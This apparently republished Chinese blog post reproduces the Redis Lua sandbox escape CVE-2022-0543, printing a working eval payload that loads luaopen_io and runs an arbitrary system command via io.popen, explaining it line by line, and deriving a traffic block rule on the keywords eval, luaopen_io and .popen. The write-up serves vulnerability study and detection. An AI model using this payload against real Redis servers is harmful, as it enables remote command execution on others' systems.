Redis沙盒逃逸漏洞(CVE-2022-0543)复现以和流量特征
Redis简介
Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。
漏洞介绍
Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
影响版本
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5
漏洞复现
复现条件: redis
版本符合上述版本,并且可以成功登录redis
,类似redis
未授权访问
靶机开启redis
服务
攻击机远程连接redis
,执行payload
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
此处whoami
为任意系统命令可更改
原理以及流量特征分析
因为Debian
以及Ubuntu
发行版的源在打包Redis
时,不慎在Lua
沙箱中遗留了一个对象package
攻击者可通过package
中的loadlib
函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
中的函数luaopen_io
,在Lua
中执行这个导出函数,即可获得io
库,再使用其执行命令。
即可编辑脚本内容为
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("whoami", "r");
local res = f:read("*a");
f:close();
return res
脚本内容解析为
1.通过loadlib函数加载动态连接库中的luaopen_io函数,并赋给io_l
2.执行io_l(),获取io库
3.通过io库中的popen来执行命令,并把执行结果返回赋给f
4.读取f中命令执行的结果内容
5.关闭f
6.将读取的结果内容返回
连接上redis
后,通过eval
函数来执行上述脚本,即为payload
的构成
流量特征分析
通过wireshack
抓包可看到,为tcp
流量
并且数据包中含有漏洞payload
的全部内容,这样拦截规则就很好编写了
1.eval
:因为脚本内容必须通过eval
来执行
2.luaopen_io
:因为此攻击必须通过执行luaopen_io
函数来获取io
库
3..popen
:恶意命令必须通过io
库中的popen
函数来执行,为什么拦截规则不是io.popen
,因为io
仅是一个对象名称,是可自定义的
综合上述,拦截规则为
tcp
流量中同时产生关键字eval
、luaopen_io
、.popen
时进行拦截
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhfhgeac
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01 -
怎样阻止微信小程序自动打开
PHP中文网 06-13